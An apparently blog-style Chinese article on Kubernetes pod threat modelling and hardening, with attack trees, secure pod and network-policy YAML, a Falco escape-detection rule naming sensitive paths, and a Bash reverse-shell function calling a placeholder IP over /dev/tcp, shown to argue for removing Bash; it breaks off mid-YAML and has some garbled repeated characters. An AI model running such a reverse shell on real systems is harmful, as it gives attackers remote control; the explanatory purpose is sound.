歷史上，Kubernetes在預設情況下並未進行安全強化，這有時可能導致許可權提升或容器逃逸。讓我們放大單個Pod與主機之間的關係，可以看到kubelet為容器提供的服務以及可能阻止攻擊者的潛在安全邊界。

預設情況下，許多設定都合理地應用了最小許可權原則，但在使用者提供設定更常見的地方（Pod YAML、叢集策略、容器映像），存在更多意外或惡意設定錯誤的機會。

大多數預設設定是合理的，但在本文中，我將指出不合理的地方，並展示如何測試叢集和工作負載是否安全設定。

Pod威脅模型的構建

在Pod級別構建威脅模型時，我們需要考慮以下幾個關鍵問題：

1. 容器內的應用程式可能存在哪些漏洞？
2. 容器與主機之間的界限有多牢固？
3. Pod間通訊的安全性如何保障？
4. 敏感資料如何在Pod中處理和保護？

威脅建模與攻擊樹的實際應用

威脅建模不僅是理論概念，而是實際安全規劃的基礎。在我的實踐中，發現許多團隊往往直接跳到實施安全控制，而沒有先理解他們真正面臨的威脅。這種方法可能導致資源錯配，過度保護低風險區域，而忽視了真正的高風險區域。

攻擊樹是一個特別有用的工具，它幫助團隊視覺化攻擊路徑。在Kubernetes環境中，一個常見的誤解是認為容器本身提供了強大的安全隔離。然而，當我們繪製攻擊樹時，往往會發現從容器到主機的多種潛在路徑，特別是當容器設定了過多許可權時。

在實際專案中，我經常使用攻擊樹來展示為什麼某些安全控制措施是必要的。例如，當討論是否需要Pod安全策略或Pod安全標準時，展示一個從容器逃逸到主機的攻擊樹，可以直觀地說明為什麼限制容器許可權是必要的。

構建有效的Kubernetes攻擊樹

攻擊樹是威脅建模過程中的關鍵工具，它幫助我們視覺化攻擊路徑並識別關鍵的防禦點。在Kubernetes環境中構建攻擊樹需要深入理解其架構和元件之間的互動。

攻擊樹的基本元素

一個有效的Kubernetes攻擊樹包含以下基本元素：

1. 攻擊目標 - 位於樹的頂部，表示攻擊者希望達成的目標
2. 攻擊路徑 - 從樹的底部到頂部的路徑，代表攻擊者可能採取的步驟
3. 邏輯關係 - 使用AND和OR門表示攻擊步驟之間的關係
4. 先決條件 - 攻擊者需要具備的條件或資源
5. 緩解措施 - 可以阻止或減輕攻擊的安全控制

構建步驟

以下是構建Kubernetes攻擊樹的步驟：

1. 定義攻擊目標 - 例如"取得控制平面存取許可權"或"竊取機密資料"
2. 識別可能的入口點 - 如API伺服器、kubelet、容器執行時等
3. 對映攻擊路徑 - 從入口點到目標的可能路徑
4. 增加邏輯關係 - 確定哪些步驟需要一起完成(AND)，哪些是替代選項(OR)
5. 評估可行性 - 根據攻擊者能力和現有控制措施評估每條路徑的可行性
6. 識別關鍵防禦點 - 確定在哪些點實施安全控制最有效

例項：Pod逃逸攻擊樹

讓我們構建一個簡單的攻擊樹，展示攻擊者如何從一個被入侵的容器逃逸到主機系統：

目標: 從容器逃逸到主機系統
├── OR: 利用容器執行時漏洞
│   ├── 利用Docker漏洞
│   └── 利用containerd漏洞
├── OR: 利用設定錯誤
│   ├── 掛載主機敏感目錄
│   ├── 使用特權容器
│   ├── 使用hostPID/hostIPC/hostNetwork
│   └── 使用不安全的capabilities
├── OR: 利用核心漏洞
│   ├── 利用未修補的核心漏洞
│   └── 利用核心模組漏洞
└── AND: 使用側通道攻擊
    ├── 識別同一節點上的其他容器
    └── 利用分享資源洩露訊息

這個攻擊樹清晰地展示了攻擊者可能採取的不同路徑。例如，攻擊者可以利用容器執行時漏洞OR設定錯誤OR核心漏洞來達成目標。而對於側通道攻擊，攻擊者需要同時(AND)識別同一節點上的其他容器並利用分享資源洩露訊息。

攻擊樹的實際應用價值

攻擊樹不僅是一個理論工具，它在實際安全規劃中有著巨大價值。在我的工作中，我發現攻擊樹特別有助於：

1. 優先順序排序 - 透過識別最可能的攻擊路徑，幫助團隊優先解決最關鍵的安全問題
2. 溝通工具 - 向非安全專業人員解釋威脅和防禦措施的必要性
3. 覆寫率評估 - 評估現有安全控制的覆寫範圍，識別潛在的盲點
4. 紅隊演練 - 為安全測試團隊提供可能的攻擊路徑

當我與團隊討論Kubernetes安全策略時，我經常使用攻擊樹來展示為什麼某些安全控制是必要的。例如，當討論是否需要網路策略時，我會繪製一個展示橫向移動攻擊路徑的攻擊樹，直觀地說明為什麼預設的"允許所有"網路策略是有風險的。

Pod安全策略與最佳實踐

瞭解了威脅和攻擊路徑後，我們需要制定具體的安全策略來保護Pod級資源。以下是一些關鍵的最佳實踐：

容器映像檔安全

容器安全始於安全的基礎映象：

1. 使用最小化基礎映象 - 如Alpine或distroless映象，減少攻擊面
2. 定期更新基礎映象 - 確保包含最新的安全補丁
3. 實施映象掃描 - 在CI/CD流程中整合漏洞掃描工具
4. 簽名和驗證 - 使用映象簽名確保供應鏈安全

容器執行時安全

容器在執行時需要適當的安全限制：

apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    runAsGroup: 3000
    fsGroup: 2000
  containers:
  - name: secure-container
    image: nginx:latest
    securityContext:
      allowPrivilegeEscalation: false
      capabilities:
        drop:
        - ALL
      readOnlyRootFilesystem: true

這個Pod設定範例展示了幾個關鍵的安全實踐：

1. runAsNonRoot: true - 確保容器不會以root使用者執行，這是防止容器逃逸的重要一步
2. runAsUser/runAsGroup/fsGroup - 明確指定容器執行的使用者和組ID
3. allowPrivilegeEscalation: false - 防止程式獲得比其父程式更多的許可權
4. capabilities: drop: - ALL - 刪除所有Linux capabilities，遵循最小許可權原則
5. readOnlyRootFilesystem: true - 使根檔案系統為只讀，防止攻擊者修改系統檔案

這些設定共同建立了一個更安全的容器執行環境，大降低了攻擊者在取得容器存取權後的活動空間。

實施Pod安全標準

Kubernetes提供了Pod安全標準(PSS)來幫助實施Pod級別的安全控制。PSS定義了三個安全級別：

1. Privileged - 無限制，允許最大的許可權
2. Baseline - 最小限制，防止已知的許可權提升
3. Restricted - 嚴格限制，實施強化的安全控制

以下是實施Restricted設定檔案的範例：

apiVersion: v1
kind: Namespace
metadata:
  name: restricted-ns
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted

這個名稱空間設定使用標籤來實施Pod安全標準的"restricted"設定檔案。這意味著：

1. enforce: restricted - 不符合restricted設定檔案的Pod將被拒絕建立
2. audit: restricted - 違反restricted設定檔案的事件將被記錄在稽核日誌中
3. warn: restricted - 使用者在嘗試建立違反restricted設定檔案的Pod時會收到警告

實施Pod安全標準是一種宣告式方法，可以在整個名稱空間或叢集級別強制執行安全最佳實踐，無需為每個Pod單獨設定安全上下文。

網路策略實施

限制Pod之間的通訊是防止橫向移動的關鍵：

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  - Egress

這個網路策略實施了預設拒絕所有入站和出站流量的原則。podSelector: {}表示策略適用於名稱空間中的所有Pod。這是一個"零信任"方法的起點，之後可以增加更具體的策略來允許必要的流量。

在實際環境中，我發現從預設拒絕開始，然後逐步增加必要的允許規則是最安全的方法。這確保了只有明確允許的通訊才能發生，而不是反過來嘗試阻止可能有害的通訊。

敏感資料保護

在Pod中安全地處理敏感資料需要特別注意：

apiVersion: v1
kind: Pod
metadata:
  name: secure-app
spec:
  containers:
  - name: app
    image: app:latest
    env:
    - name: DB_PASSWORD
      valueFrom:
        secretKeyRef:
          name: db-credentials
          key: password
    volumeMounts:
    - name: tls-certs
      mountPath: /etc/tls
      readOnly: true
  volumes:
  - name: tls-certs
    secret:
      secretName: tls-certificates

這個設定展示了在Pod中處理敏感資料的兩種方法：

1. 使用環境變數從Secret參照敏感值，而不是直接在Pod設定中硬編碼
2. 將Secret掛載為只讀卷，用於儲存如TLS證書這樣的檔案

雖然Kubernetes Secret提供了一個管理敏感資料的機制，但在生產環境中，我強烈建議使用外部金鑰管理系統，如HashiCorp Vault或AWS Secrets Manager，並使用適當的整合將敏感資料注入到Pod中。

高階Pod安全技術

除了基本的安全實踐外，還有一些高階技術可以進一步加強Pod的安全性。

使用SeccompProfile限制系統呼叫

Seccomp可以限制容器可以使用的系統呼叫，大減少攻擊面：

apiVersion: v1
kind: Pod
metadata:
  name: seccomp-pod
spec:
  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: profiles/custom-profile.json
  containers:
  - name: secured-container
    image: nginx:latest

這個設定使用自定義seccomp設定檔案來限制容器可以使用的系統呼叫。type: Localhost表示設定檔案位於節點上，localhostProfile指定了設定檔案的路徑。自定義seccomp設定檔案可以精確控制允許哪些系統呼叫，從而實作深度防禦。

在實際佈署中，我通常建議先使用稽核模式來收集應用程式實際需要的系統呼叫，然後根據這些訊息建立最小許可權的seccomp設定檔案。

使用AppArmor或SELinux增強隔離

Kubernetes支援與Linux安全模組整合，如AppArmor和SELinux：

apiVersion: v1
kind: Pod
metadata:
  name: apparmor-pod
  annotations:
    container.apparmor.security.beta.kubernetes.io/secure-container: localhost/custom-profile
spec:
  containers:
  - name: secure-container
    image: nginx:latest

這個設定透過註解將AppArmor設定檔案應用到特定容器。AppArmor可以限制容器可以存取的檔案、網路資源和其他系統資源，提供比seccomp更全面的保護。

在生產環境中，AppArmor和SELinux可以作為深度防禦策略的一部分，與其他安全控制措施一起使用。它們特別有助於限制攻擊者在成功入侵容器後的活動範圍。

使用OPA Gatekeeper強制執行策略

OPA Gatekeeper是一個強大的工具，可以在叢集級別強制執行自定義策略：

apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sNoPrivilegedPods
metadata:
  name: no-privileged-pods
spec:
  match:
    kinds:
      - apiGroups: [""]
        kinds: ["Pod"]
    excludedNamespaces:
      - kube-system

這個Gatekeeper約束確保沒有Pod可以使用特權模式執行，除了kube-system名稱空間中的Pod。Gatekeeper使用Open Policy Agent(OPA)來評估和強制執行策略，允許建立複雜的自定義規則。

在我的工作中，Gatekeeper已成為實施組織安全策略的關鍵工具。它可以防止許多常見的安全錯誤設定，如使用特權容器、掛載敏感主機路徑或使用不安全的capabilities。

實際案例：檢測和防止容器逃逸

為了將理論付諸實踐，讓我們看一個檢測和防止容器逃逸的實際案例。

容器逃逸的常見路徑

容器逃逸通常利用以下路徑之一：

1. 特權容器或過度許可權
2. 掛載敏感主機路徑
3. 容器執行時或核心漏洞
4. 不安全的capabilities設定

檢測容器逃逸嘗試

以下是一個簡單的Falco規則，用於檢測容器逃逸嘗試：

- rule: Container Escape Attempt
  desc: Detects potential container escape attempts
  condition: >
    container.id != host and
    (
      (evt.type=mount and
       (mount.dest in (
         '/proc', '/sys', '/root', '/etc/shadow',
         '/etc/passwd', '/etc/kubernetes', '/var/run/docker.sock'
       ))
      or
      (evt.type=open and
       fd.name in (
         '/proc/sys/kernel/core_pattern',
         '/proc/sys/kernel/modprobe'
       ))
    )
  output: >
    Potential container escape attempt (user=%user.name
    command=%proc.cmdline container=%container.name)
  priority: CRITICAL
  tags: [container, escape, mitre_privilege_escalation]

這個Falco規則監控可能表明容器逃逸嘗試的行為，如：

1. 嘗試掛載敏感的主機路徑，如/proc、/sys或Kubernetes設定目錄
2. 嘗試存取可能用於許可權提升的關鍵系統檔案

當檢測到這些行為時，Falco會生成一個關鍵警示，包括使用者名、命令和容器名稱，便於進一步調查。

在實際佈署中，我通常會將Falco與SIEM系統整合，以便安全團隊能夠及時回應這些警示。

防止容器逃逸的策略

預防始終優於檢測。以下是防止容器逃逸的關鍵策略：

1. 實施Pod安全策略：

apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
  name: restricted
spec:
  privileged: false
  allowPrivilegeEscalation: false
  requiredDropCapabilities:
    - ALL
  volumes:
    - 'configMap'
    - 'emptyDir'
    - 'projected'
    - 'secret'
    - 'downwardAPI'
    - 'persistentVolumeClaim'
  hostNetwork: false
  hostIPC: false
  hostPID: false
  runAsUser:
    rule: 'MustRunAsNonRoot'
  seLinux:
    rule: 'RunAsAny'
  supplementalGroups:
    rule: 'MustRunAs'
    ranges:
      - min: 1
        max: 65535
  fsGroup:
    rule: 'MustRunAs'
    ranges:
      - min: 1
        max: 65535
  readOnlyRootFilesystem: true

這個PodSecurityPolicy實施了多層防護，透過：

1. 禁止特權容器和許可權提升
2. 刪除所有Linux capabilities
3. 限制可以使用的卷型別，防止掛載敏感主機路徑
4. 禁止使用主機網路、IPC和PID名稱空間
5. 要求容器以非root使用者執行
6. 強制使用只讀根檔案系統

這些限制共同建立了一個安全的容器執行環境，大減少了容器逃逸的可能性。

2. 定期更新和補丁：

確保容器執行時、節點作業系統和內核保持最新狀態至關重要。自動化補丁管理流程可以確保及時應用安全更新。

3. 實施深度防禦：

結合多層安全控制，如：

• 網路政策限制Pod間通訊
• AppArmor或SELinux設定檔案限制容器行為
• 執行時安全監控，如Falco
• 定期安全稽核和滲透測試

Kubernetes 安全威脅模型：容器環境中的攻擊面分析

在雲原生時代，Kubernetes 已成為容器協調的標準，但隨之而來的是複雜的安全挑戰。在建構容器化應用程式時，瞭解潛在威脅模型對於建立有效防禦至關重要。從我多年的安全架構經驗來看，大多數團隊往往低估了容器環境中的攻擊面廣度。

Pod 威脅模型的基本概念

當我們討論 Pod 的威脅模型時，首先需要了解幾個基本的攻擊向量類別：

網路層攻擊

網路攻擊是最常見的入侵點。攻擊者會尋找暴露在公網的敏感端點，如 API 伺服器。在我實際稽核的多個 Kubernetes 環境中，發現有超過 40% 的組織未正確設定 API 伺服器的存取控制，使其容易受到未經授權的存取。

應用程式漏洞導致容器遭到入侵

這是攻擊者最常用的入口點之一。遠端程式碼執行漏洞或供應鏈攻擊可能導致應用程式被入侵，進而成為攻擊的起點。一旦攻擊者獲得容器內的立足點，就可以開始橫向移動或許可權提升。

建立永續性存取

攻擊者會竊取憑證或建立永續性機制，使其能在 Pod、節點或容器重新啟動後仍能保持存取許可權。這種型別的攻擊特別危險，因為它可能在系統中潛伏很長時間。

惡意程式碼執行

一旦獲得立足點，攻擊者會執行惡意程式碼以橫向移動、提升許可權並探測其他端點。這通常涉及到利用容器內的工具或上載惡意工具。

存取敏感資料

攻擊者會嘗試從 API 伺服器、附加儲存或網路可達的資料儲存中讀取敏感資料，尤其是 Secret 資源。我曾見過攻擊者透過未受保護的 etcd 直接存取加密不足的 Secret。

拒絕服務

雖然這種攻擊較少見，但攻擊者可能會發起拒絕服務攻擊，尤其是針對關鍵業務系統。現代變種包括「拒絕錢包」(Denial of Wallet) 攻擊和加密鎖定 (cryptolocking)，前者透過觸發大量資源使用來增加雲端成本，後者則加密資料並勒索贖金。

解析真實攻擊案例：Captain Hashjack 的入侵路徑

讓我們透過一個假設性但根據真實技術的攻擊場景，瞭解攻擊者如何入侵 Kubernetes 環境。

初始偵察階段

攻擊者 Captain Hashjack 首先對目標組織 BCTL 進行 DNS 子網域名稱和 S3 儲存桶的列舉。這是一種常見的偵察技術，用於尋找可能的入侵點。雖然這次沒有發現容易利用的漏洞，但這種偵察活動通常是攻擊的前奏。

在我的安全諮詢工作中，經常看到組織忽略這些早期偵察跡象，因為它們看似無害。然而，主動監控這些活動可以提供早期預警。

網站應用程式掃描

未能透過初始偵察找到入侵點後，攻擊者建立了一個公開網站帳號並登入，使用 OWASP Zed Attack Proxy (ZAP) 等網頁應用程式掃描器來檢查 API 呼叫和應用程式碼，尋找異常回應。

攻擊者特別關注：

1. 洩漏的網頁伺服器橫幅和版本資訊，以瞭解哪些漏洞可能被利用
2. 對 API 進行注入和模糊測試，尋找對使用者輸入處理不當的地方

這種程度的審查對於維護不善的程式碼和系統來說是難以長期抵擋的。攻擊者可能在茫資料中尋找一根針，但最安全的系統應該是完全沒有針的乾草堆積積。

注意：任何電腦系統都應該能夠抵抗這種非針對性攻擊。Kubernetes 系統應該透過最新軟體和強化設定來實作「最低可行安全性」，保護自己免受隨機攻擊。Kubernetes 透過支援最新的三個次要版本（例如 1.24、1.23 和 1.22）來鼓勵定期更新，這些版本每 4 個月發布一次，確保一年的補丁支援。較舊的版本不受支援，很可能存在漏洞。

雖然攻擊的許多部分可以自動化，但這是一個複雜的過程。隨機攻擊者更可能廣泛掃描觸發已公開 CVE 的軟體路徑，並對大範圍 IP（如公有雲提供商宣傳的範圍）執行自動化工具和指令碼。這些是比較明顯的攻擊手法。

遠端程式碼執行：容器安全的首要威脅

如果應用程式中的漏洞可以被用來執行不受信任（在本例中是外部）的程式碼，這被稱為遠端程式碼執行 (RCE)。攻擊者可以利用 RCE 在應用程式環境中建立遠端控制工作階段：在這裡是處理網路請求的容器，但如果 RCE 設法將不受信任的輸入傳遞到系統更深處，它可能會攻擊不同的處理程式、Pod 或叢集。

Kubernetes 安全的首要目標

你在 Kubernetes 和 Pod 安全方面的首要目標應該是防止 RCE，這可能簡單如 kubectl exec 命令，或複雜如反向 Shell。

應用程式碼經常變更，可能隱藏未被發現的錯誤，因此穩健的應用程式安全 (AppSec) 實踐（包括 IDE 和 CI/CD 工具整合以及作為任務接受標準的專用安全需求）對於防止攻擊者入侵 Pod 中執行的處理程式至關重要。

技術說明：Java 框架 Struts 是遭受遠端可利用漏洞（CVE-2017-5638）最廣泛佈署的函式庫之一，這促成了 Equifax 客戶資料洩露事件。要修復容器中這樣的供應鏈漏洞，可以在 CI 中快速重建容器，使用修補後的函式庫並重新佈署，減少暴露在網際網路上的漏洞函式庫的風險視窗。

網路攻擊面：Kubernetes 的最大風險區域

Kubernetes 叢集最大的攻擊面是其網路介面和導向公眾的 Pod。網路導向服務（如網頁伺服器）是保持叢集安全的第一道防線。

這是因為來自網路的未知使用者可以掃描導向網路的應用程式，尋找可利用的 RCE 跡象。他們可以使用自動化網路掃描器來嘗試利用導向網路的程式碼中已知的漏洞和輸入處理錯誤。如果處理程式或系統被迫以非預期的方式執行，就有可能透過這些未經測試的邏輯路徑被入侵。

防禦策略

為了防禦這類別攻擊，我們必須掃描容器中的作業系統和應用程式 CVE，希望在它們被利用之前更新它們。

如果攻擊者已經在 Pod 中獲得了 RCE，這將成為從 Pod 的網路位置和許可權集更深入攻擊系統的立足點。你應該努力限制攻擊者從此位置能做的事情，並根據工作負載的敏感性自訂安全設定。如果你的控制太寬鬆，這可能是組織範圍內資料外洩的開始。

專業提示：如需透過 Struts 使用 Metasploit 生成 Shell 的範例，請參閱 Sam Bowne 的。

正如我們的假設攻擊者剛發現的那樣，我們一直在執行 Struts 函式庫的易受攻擊版本。這為從內部開始攻擊叢集提供了機會。

反向 Shell 的風險

revshell() {
    local TARGET_IP="${1:-123.123.123.123}";
    local TARGET_PORT="${2:-1234}";
    while :; do
        nohup bash -i &> \
        /dev/tcp/${TARGET_IP}/${TARGET_PORT} 0>&1;
        sleep 1;
    done
}

這段程式碼是一個簡單的 Bash 反向 Shell 函式，這也是從容器中移除 Bash 的好理由。它使用 Bash 的虛擬 /dev/tcp/ 檔案系統，這在 sh 中不可利用，因為 sh 不包含這個經常被濫用的功能。

函式的工作原理是：

1. 接受目標 IP 和連線埠作為引數（如果未提供，則使用預設值）
2. 在無限迴圈中：
   • 使用 nohup 啟動 Bash 互動式 Shell
   • 將 Shell 的標準輸出和錯誤輸出重定向到指定的 TCP 連線
   • 將標準輸入重定向到同一 TCP 連線
   • 每次嘗試連線後等待 1 秒

這種反向 Shell 允許攻擊者在目標機器上獲得互動式命令列存取，即使在防火牆阻止入站連線的情況下也能工作，因為它是從受感染的容器發起對攻擊者控制伺服器的出站連線。

Kubernetes 工作負載：Pod 中的應用程式

現在讓我們看攻擊者登入的地方：Kubernetes Pod 內部。

Pod 的基本概念

多個協作容器可以邏輯上組合成一個 Pod，而與 Kubernetes 執行的每個容器都必須在 Pod 內執行。有時 Pod 被稱為「工作負載」，它是相同執行環境的多個副本之一。每個 Pod 必須在 Kubernetes 叢集的節點上執行。

Pod 是應用程式的單個例項，為了滿足需求擴充套件，工作負載資源（如 Deployment、DaemonSet 或 有狀態集合）會使用許多相同的 Pod 來複製應用程式。

Pod 的組成部分

你的 Pod 可能包括支援監控、網路和安全的 Sidecar 容器，以及用於 Pod 引導的「初始化」容器，使你能夠佈署不同的應用程式風格。這些 Sidecar 可能具有提升的許可權，是攻擊者感興趣的目標。

「初始化」容器按順序執行（從第一個到最後一個）來設定 Pod，可以對名稱空間進行安全變更，例如 Istio 的初始化容器設定 Pod 的 iptables（在內核的 netfilter 中），使執行時（非初始化容器）Pod 透過 Sidecar 容器路由流量。Sidecar 與 Pod 中的主要容器一起執行，所有非初始化容器在 Pod 中同時啟動。

Pod 內容與應用型別

Pod 內部是什麼？雲原生應用程式通常是微服務、網頁伺服器、工作者和批處理程式。一些 Pod 執行一次性任務（用作業包裝，或者可能是單個不重啟的容器），可能執行多個其他 Pod 來協助。

所有這些 Pod 都為攻擊者提供了機會。Pod 可能被入侵，或者更常見的是，導向網路的容器處理程式被入侵。

容器安全的核心策略

從我的實際經驗來看，建立有效的 Kubernetes 安全策略需要多層防禦：

1. 最小化攻擊面：移除不必要的工具（如 Bash）和套件，使用最小基礎映像
2. 持續漏洞掃描：在 CI/CD 管道中整合容器掃描，阻止佈署有已知漏洞的映像
3. 實施 Pod 安全標準：根據工作負載敏感性應用適當的 Pod 安全策略
4. 網路分段：使用網路策略限制 Pod 間通訊，實施最小許可權原則
5. 監控異常行為：佈署執行時安全解決方案，檢測容器內的異常活動

在容器化環境中，安全是一個持續的過程，而不是一次性的努力。透過瞭解攻擊者的思維方式和可能的入侵路徑，我們可以建立更有效的防禦策略。

Kubernetes 的安全威脅模型是多層次的，從網路攻擊到容器入侵再到橫向移動。理解這些威脅向量對於建立有效的防禦至關重要。關鍵防禦策略包括防止遠端程式碼執行、限制容器許可權、持續掃描漏洞以及實施網路隔離。

透過採用安全第一的方法，並將安全考慮融入開發生命週期的每個階段，組織可以顯著降低 Kubernetes 環境中的安全風險。記住，在容器安全中，預防遠比補救更有效率與成本更低。

Kubernetes Pod 安全邊界的本質

在設計容器化應用架構時，Pod 作為 Kubernetes 中最小的佈署單位，其安全邊界的理解對於系統防護至關重要。我發現許多團隊往往將注意力僅放在容器層級的安全上，卻忽略了 Pod 整體安全邊界的重要性。

Pod 是一個信任邊界（trust boundary），它包含了所有內部容器，以及這些容器的身份和存取許可權。雖然可以透過策略設定增強 Pod 之間的隔離，但在進行威脅建模時，我們必須將整個 Pod 視為一個安全單元來考量。

在安全設計上，我們需要認識到 Kubernetes 的分散式特性。當我們應用資源設定（如多檔案 YAML 檔案）時，系統採用最終一致性模型，這意味著 API 呼叫並不總是按照我們預期的順序完成。這種順序依賴於各種因素，不應被視為可靠的執行序列。

Pod 架構解析與安全考量

Pod 的基本結構與運作方式

Pod 是 Kubernetes 的獨特創造，它提供了一個環境讓多個容器在其中執行。每個 Pod 具有自己的 IP 地址，可以掛載儲存空間，其名稱空間包圍了由容器執行時（如 containerd 或 CRI-O）建立的容器。

在技術實作上，一個 Pod 中的所有容器都會在同一個節點上啟動，這種設計既提高了效率，也帶來了特定的安全考量。當我設計多容器 Pod 時，通常會思考這些容器是否真的需要分享網路和儲存資源，因為分享意味著更大的攻擊面。

容器本質上是一個迷你的 Linux 環境，其程式透過控制組（cgroups）限制資源使用，並透過名稱空間限制存取許可權。在 Kubernetes 環境中，還可以應用各種其他控制來限制容器化程式的行為。

Pod 的生命週期與安全管理

Pod 的生命週期由 kubelet 控制，它是 Kubernetes API 伺服器的代理，佈署在叢集中的每個節點上，用於管理和執行容器。在實際維運中，我注意到 kubelet 的穩定性對整個系統安全至關重要：

// kubelet 的核心職責範例
func (kl *Kubelet) syncPod(ctx context.Context, updateType kubetypes.SyncPodType, pod *v1.Pod, mirrorPod *v1.Pod, podStatus *kubecontainer.PodStatus) (isTerminal bool, err error) {
    // 同步 Pod 狀態
    // 確保 Pod 安全執行
    // 管理容器生命週期
}

這段程式碼展示了 kubelet 中同步 Pod 狀態的核心函式。當 kubelet 需要確保 Pod 的實際狀態與期望狀態一致時，會呼叫此函式接收 Pod 的定義、映象 Pod 訊息以及當前 Pod 狀態，然後執行必要的操作以維持 Pod 的正常執行。這個過程中包含了安全相關的檢查和管理，例如確保容器執行在正確的安全上下文中。

若 kubelet 與 API 伺服器失去聯絡，它會繼續管理其工作負載，必要時重啟它們。如果 kubelet 當機，容器管理器也會保持容器執行，以防它們崩潃。這種設計提供了良好的容錯性，但也意味著在安全事件發生時，可能需要額外的機制來確保快速回應。

容器安全的核心元素

在 Kubernetes 中，每個容器都是 Linux 名稱空間、控制組（cgroups）、功能（capabilities）和 Linux 安全模組（LSMs）的集合。容器執行時在構建容器時，會單獨建立和設定每個名稱空間，然後將它們組合成一個容器。

功能（capabilities）是"特殊"根使用者操作的個別開關，如更改任何檔案的許可權、將模組載入到核心、以原始模式存取裝置等。根使用者擁有所有功能，而功能也可以授予任何程式或使用者。過多的功能授予可能導致容器逃逸，這是我在安全稽核中經常檢查的重點。

容器隔離與網路安全

容器執行時與網路介面

kubelet 將 Pod 附加到容器網路介面（CNI）。CNI 網路流量被視為第 4 層 TCP/IP（儘管 CNI 外掛使用的底層網路技術可能不同），而加密則是 CNI 外掛、應用程式、服務網格的責任，或者至少是節點之間的底層網路的責任。

我在實際佈署中發現，如果流量未加密，它可能被受損的 Pod 或節點嗅探到。這是一個常被忽視的安全風險點：

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: secure-pod-network-policy
  namespace: production
spec:
  podSelector:
    matchLabels:
      role: sensitive-data
  policyTypes:
  - Ingress
  - Egress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          role: authorized-client
    ports:
    - protocol: TCP
      port: 443
  egress:
  - to:
    - podSelector:
        matchLabels:
          role: authorized-service
    ports:
    - protocol: TCP
      port: 443

這個 NetworkPolicy 資源定義了一個網路安全策略，專門保護標記為 role: sensitive-data 的 Pod。它採用白名單方式嚴格控制流量：

1. 入站（Ingress）流量僅允許來自標記為 role: authorized-client 的 Pod，與只能透過 TCP 443 連線埠（HTTPS）連線
2. 出站（Egress）流量僅允許連線到標記為 role: authorized-service 的 Pod，同樣只能透過 TCP 443 連線埠

這種網路策略可以有效減少橫向移動攻擊的風險，確保即使某個 Pod 被入侵，攻擊者也難以存取網路中的其他敏感服務。這是深度防禦策略的一部分，可以與加密通訊結合使用，提供更全面的保護。

公共容器登入檔的威脅

公共容器登入檔經常託管惡意映像，因此在生產前檢測它們至關重要。我曾見過多個團隊因為未經驗證的容器映像而導致安全事件，這些事件本可以透過基本的映像掃描輕鬆避免。

“官方"容器映像在公共登入檔中更有可能是最新的與修補良好的。例如，Docker Hub 使用 Notary 簽署所有官方映像，這提供了額外的安全保證。

雖然在正確設定的容器執行時下啟動惡意容器通常是安全的，但也存在針對容器引導階段的攻擊。例如，我曾分析過 /proc/self/exe 逃逸漏洞（CVE-2019-5736），這種漏洞可能導致容器逃逸並影響宿主系統。

Kubernetes 儲存安全與控制平面保護

容器儲存介面與安全風險

Pod 還可以透過 Kubernetes 使用容器儲存介面（CSI）附加儲存，包括 PersistentVolumeClaim 和 StorageClass。在設計使用持久化儲存的應用時，我總是特別關注儲存驅動程式的安全性，因為這些元件歷史上出現過多個嚴重漏洞。

例如，CVE-2018-11235 暴露了對 gitrepo 儲存卷的 Git 攻擊，而 CVE-2017-1002101 則是一個子路徑卷掛載處理錯誤。這些漏洞提醒我們，儲存系統可能成為攻擊者的目標。

控制平面安全的關鍵考量

在 Kubernetes 架構中，控制平面和 API 伺服器在叢集中扮演著核心角色。API 伺服器負責與叢集資料儲存（etcd）互動，託管叢集的可擴充套件 API 表面，並管理 kubelet。如果 API 伺服器或 etcd 例項被入侵，攻擊者將完全控制叢集，這些是系統中最敏感的部分。

為了在較大的叢集中獲得更好的效能，控制平面應該在與 etcd 分離的基礎設施上執行。etcd 需要高磁碟和網路 I/O 以支援其分散式共識演算法（Raft）的合理回應時間。

由於 API 伺服器是 etcd 叢集的唯一客戶端，任何一方的入侵實際上都會導致叢集被完全控制。由於 Kubernetes 中的非同步排程，將惡意的、未排程的 Pod 注入 etcd 將觸發它們被排程到 kubelet。

對於所有快速發展的軟體，Kubernetes 堆積積堆積疊的大多數部分都存在漏洞。執行現代軟體的唯一解決方案是擁有健康的持續整合基礎設施，能夠在漏洞宣佈時及時重新佈署易受攻擊的叢集。

深入理解容器技術

容器的本質與構成

容器到底是什麼？從技術本質上講，它是 Linux 的一個微觀世界，給程式提供了專用核心、網路和使用者空間的幻覺。這種軟體技巧欺騙了容器內的程式，使其相信它是在主機上執行的唯一程式。這對於隔離和將現有工作負載遷移到 Kubernetes 非常有用。

正如容器技術工作者所說，"(Linux) 容器是使用者空間的幻覺”，是一系列設定的集合，向內部程式呈現隔離的幻覺。容器不是作為單一 API、函式庫或核心功能存在的，而是核心啟動一系列名稱空間、設定控制組和功能、增加 AppArmor 和 SELinux 等 Linux 安全模組並在其中啟動程式後剩下的捆綁和隔離。

容器的啟動與安全控制

從實作角度看，容器是一個特殊環境中的程式，具有一些啟用或與主機（或其他容器）分享的名稱空間組合。該程式來自容器映像，它是一個 TAR 檔案，包含容器的根檔案系統、其應用程式和任何依賴項。

當映像被解壓到主機上的目錄中並建立特殊的檔案系統"pivot root"時，就會在其周圍構建一個"容器"，並從容器內的檔案系統中執行其 ENTRYPOINT。每個 Pod 中的每個容器都必須經歷這個過程。

容器安全有兩個部分：容器映像的內容，以及其執行時設定和安全上下文。容器的抽象風險評級可以從其啟用和安全使用的安全原語數量得出，避免主機名稱空間，使用控制組限制資源使用，放棄不需要的功能，為程式的使用模式收緊安全模組設定，以及最小化程式和檔案系統所有權和內容。

我開發過的 Kubesec.io 工具就是根據容器設定的安全性來評估 Pod 設定的安全性，包括它如何良好地實作最小許可權原則。

容器安全最佳實踐

在多年的容器安全工作中，我總結了一些關鍵的最佳實踐：

1. 實施最小許可權原則

容器應該只擁有執行其功能所需的最小許可權集。這包括：

apiVersion: v1
kind: Pod
metadata:
